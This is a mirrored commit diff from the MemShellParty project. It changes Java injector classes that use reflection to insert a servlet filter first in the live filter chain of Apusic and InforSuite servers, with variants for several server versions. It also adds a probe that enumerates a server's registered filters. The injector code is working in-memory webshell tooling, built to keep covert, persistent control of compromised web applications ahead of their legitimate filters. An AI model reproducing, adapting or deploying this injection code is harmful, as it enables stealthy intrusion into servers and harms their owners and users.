mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support addFilterFirst for Apusic/InforSuite
This commit is contained in:
+7
-1
@@ -8,6 +8,7 @@ import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.LinkedHashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
@@ -145,7 +146,12 @@ public class ApusicFilterInjector {
|
||||
Object filterMapping = filterMappingClass.newInstance();
|
||||
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
||||
LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings");
|
||||
LinkedHashSet newSet = new LinkedHashSet();
|
||||
newSet.add(filterMapping);
|
||||
newSet.addAll(beforeFilterMappings);
|
||||
beforeFilterMappings.clear();
|
||||
beforeFilterMappings.addAll(newSet);
|
||||
|
||||
// addFilterModel
|
||||
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
|
||||
|
||||
+37
-19
@@ -4,11 +4,11 @@ import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.logging.Logger;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -128,17 +128,28 @@ public class InforSuiteFilterInjector {
|
||||
}
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||
Class<?> filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
||||
Object filterMap = filterMapClass.newInstance();
|
||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
|
||||
// addFilterMapFirst
|
||||
try {
|
||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
Object filterMaps = getFieldValue(context, "filterMaps");
|
||||
if (filterMaps instanceof List) {
|
||||
// InforSuite9
|
||||
((List<Object>) filterMaps).add(0, filterMap);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
// InforSuite10
|
||||
Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array");
|
||||
Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1);
|
||||
results[0] = filterMap;
|
||||
System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length);
|
||||
setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results);
|
||||
}
|
||||
|
||||
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||
@@ -192,25 +203,32 @@ public class InforSuiteFilterInjector {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
|
||||
Field field = getField(obj, fieldName);
|
||||
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
for (Class<?> clazz = obj.getClass();
|
||||
clazz != Object.class;
|
||||
clazz = clazz.getSuperclass()) {
|
||||
try {
|
||||
return clazz.getDeclaredField(name);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
Field field = getField(obj, name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
|
||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
Field field = getField(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
|
||||
+216
@@ -0,0 +1,216 @@
|
||||
package com.reajason.javaweb.probe.payload.filter;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class ApusicFilterProbe {
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
String msg = "";
|
||||
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found\n";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
String contextRoot = getContextRoot(context);
|
||||
List<Map<String, String>> filters = collectFiltersData(context);
|
||||
allFiltersData.put(contextRoot, filters);
|
||||
}
|
||||
msg += formatFiltersData(allFiltersData);
|
||||
}
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private List<Map<String, String>> collectFiltersData(Object context) {
|
||||
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
|
||||
|
||||
try {
|
||||
Object webModule = getFieldValue(context, "webapp");
|
||||
if (webModule == null) {
|
||||
return Collections.emptyList();
|
||||
}
|
||||
|
||||
Object[] filterMappings = (Object[]) invokeMethod(webModule, "getAllFilterMappings");
|
||||
if (filterMappings == null || filterMappings.length == 0) {
|
||||
return Collections.emptyList();
|
||||
}
|
||||
|
||||
Object[] filters = (Object[]) invokeMethod(webModule, "getFilterList");
|
||||
Map<String, String> filterClassMap = new HashMap<>();
|
||||
if (filters != null) {
|
||||
for (Object filter : filters) {
|
||||
String name = (String) invokeMethod(filter, "getName");
|
||||
String className = (String) invokeMethod(filter, "getFilterClass");
|
||||
if (name != null && className != null) {
|
||||
filterClassMap.put(name, className);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for (Object fm : filterMappings) {
|
||||
String name = (String) invokeMethod(fm, "getFilterName");
|
||||
if (name == null) {
|
||||
continue;
|
||||
}
|
||||
if (!aggregatedData.containsKey(name)) {
|
||||
Map<String, Object> info = new HashMap<>();
|
||||
info.put("filterName", name);
|
||||
info.put("filterClass", filterClassMap.getOrDefault(name, "N/A"));
|
||||
info.put("urlPatterns", new LinkedHashSet<String>());
|
||||
aggregatedData.put(name, info);
|
||||
}
|
||||
Map<String, Object> info = aggregatedData.get(name);
|
||||
String urlPattern = (String) invokeMethod(fm, "getUrlPattern");
|
||||
if (urlPattern != null) {
|
||||
((Set<String>) info.get("urlPatterns")).add(urlPattern);
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
List<Map<String, String>> result = new ArrayList<>();
|
||||
for (Map<String, Object> entry : aggregatedData.values()) {
|
||||
Map<String, String> finalInfo = new HashMap<>();
|
||||
finalInfo.put("filterName", (String) entry.get("filterName"));
|
||||
finalInfo.put("filterClass", (String) entry.get("filterClass"));
|
||||
Set<?> urls = (Set<?>) entry.get("urlPatterns");
|
||||
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
|
||||
result.add(finalInfo);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
|
||||
StringBuilder output = new StringBuilder();
|
||||
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
|
||||
String context = entry.getKey();
|
||||
List<Map<String, String>> filters = entry.getValue();
|
||||
output.append("Context: ").append(context).append("\n");
|
||||
if (filters.isEmpty()) {
|
||||
output.append("No filters found\n");
|
||||
} else {
|
||||
for (Map<String, String> info : filters) {
|
||||
appendIfPresent(output, "", info.get("filterName"), "");
|
||||
appendIfPresent(output, " -> ", info.get("filterClass"), "");
|
||||
appendIfPresent(output, " -> URL:", info.get("urlPatterns"), "");
|
||||
output.append("\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
return output.toString();
|
||||
}
|
||||
|
||||
private void appendIfPresent(StringBuilder sb, String prefix, String value, String suffix) {
|
||||
if (value != null && !value.isEmpty()) {
|
||||
sb.append(prefix).append(value).append(suffix);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath");
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
/**
|
||||
* context: com.apusic.web.container.WebContainer
|
||||
* context - webapp: com.apusic.deploy.runtime.WebModule
|
||||
* /usr/local/ass/lib/apusic.jar
|
||||
*/
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("HouseKeeper")) {
|
||||
// Apusic 9.0 SPX
|
||||
Object sessionManager = getFieldValue(thread, "this$0");
|
||||
contexts.add(getFieldValue(sessionManager, "container"));
|
||||
} else if (thread.getName().contains("HTTPSession")) {
|
||||
// Apusic 9.0.1
|
||||
Object sessionManager = getFieldValue(thread, "this$0");
|
||||
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
|
||||
contexts.addAll(contextMap.values());
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName());
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+8
-8
@@ -41,8 +41,6 @@ public class GlassFishFilterProbe {
|
||||
if (filterMaps == null || filterMaps.isEmpty()) return Collections.emptyList();
|
||||
|
||||
Object[] filterDefs = (Object[]) invokeMethod(context, "findFilterDefs");
|
||||
Map<?, ?> filterConfigs = (Map<?, ?>) getFieldValue(context, "filterConfigs");
|
||||
|
||||
for (Object fm : filterMaps) {
|
||||
String name = (String) invokeMethod(fm, "getFilterName");
|
||||
if (name == null) continue;
|
||||
@@ -52,8 +50,8 @@ public class GlassFishFilterProbe {
|
||||
for (Object def : filterDefs) {
|
||||
if (!name.equals(invokeMethod(def, "getFilterName"))) continue;
|
||||
Class<?> cls = (Class<?>) invokeMethod(def, "getFilterClass");
|
||||
if (cls == null && filterConfigs != null) {
|
||||
Object config = filterConfigs.get(name);
|
||||
if (cls == null) {
|
||||
Object config = invokeMethod(context, "findFilterConfig", new Class[]{String.class}, new Object[]{name});
|
||||
Object filter = config != null ? invokeMethod(config, "getFilter") : null;
|
||||
if (filter != null) filterClass = filter.getClass().getName();
|
||||
}
|
||||
@@ -74,7 +72,7 @@ public class GlassFishFilterProbe {
|
||||
urls = (String[]) invokeMethod(fm, "getURLPatterns");
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
Object urlPattern = getFieldValue(fm, "urlPattern");
|
||||
Object urlPattern = invokeMethod(fm, "getURLPattern");
|
||||
if (urlPattern instanceof String) {
|
||||
urls = new String[] { (String) urlPattern };
|
||||
}
|
||||
@@ -171,10 +169,12 @@ public class GlassFishFilterProbe {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName) {
|
||||
Class<?>[] paramClazz = null;
|
||||
Object[] param = null;
|
||||
return invokeMethod(obj, methodName, null, null);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Reference in New Issue
Block a user